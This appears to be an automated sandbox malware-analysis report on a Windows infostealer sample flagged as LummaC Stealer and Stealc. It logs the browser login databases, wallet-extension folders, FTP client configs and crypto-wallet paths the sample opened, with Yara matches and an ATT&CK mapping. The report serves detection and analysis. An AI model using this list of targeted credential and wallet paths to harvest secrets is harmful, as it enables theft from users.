Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE

Source: C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Directory queried: number of queries: 1523

Source: Yara match	File source: 0000000B.00000003.2926177602.0000000001212000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2963743388.00000000059A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2934344694.00000000059A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2947463685.000000000121C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2926089186.00000000059A6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2910512234.00000000059A5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2914064693.00000000059A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3f779c1cca.exe PID: 6836, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3f779c1cca.exe PID: 6828, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: 0000000F.00000003.3103917580.000000000109F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.3268917085.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fb9fc5d370.exe PID: 1732, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fb9fc5d370.exe PID: 2580, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 1340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3f779c1cca.exe PID: 6836, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3f779c1cca.exe PID: 6828, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 31.2.num.exe.fd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.num.exe.fd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.994a9a760e.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.B7KMZCE66VGDP83M16.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe.5d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.994a9a760e.exe.830000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000003.2763572161.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3314353221.00000000005D1000.00000040.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.3125229044.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.3179696376.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3227402692.0000000000831000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2963698555.0000000005200000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3125212572.0000000000FD1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.3094487881.0000000000FD1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3021034052.0000000000831000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3117634363.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2804824031.000000000127E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3023166643.000000000157E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3226332079.00000000006C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2803875794.0000000000531000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3322729341.00000000013CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: B7KMZCE66VGDP83M16.exe PID: 4440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 994a9a760e.exe PID: 4024, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 4948, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 994a9a760e.exe PID: 5692, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe PID: 1444, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	22 File and Directory Discovery	Remote Services	1 Archive Collected Data	13 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
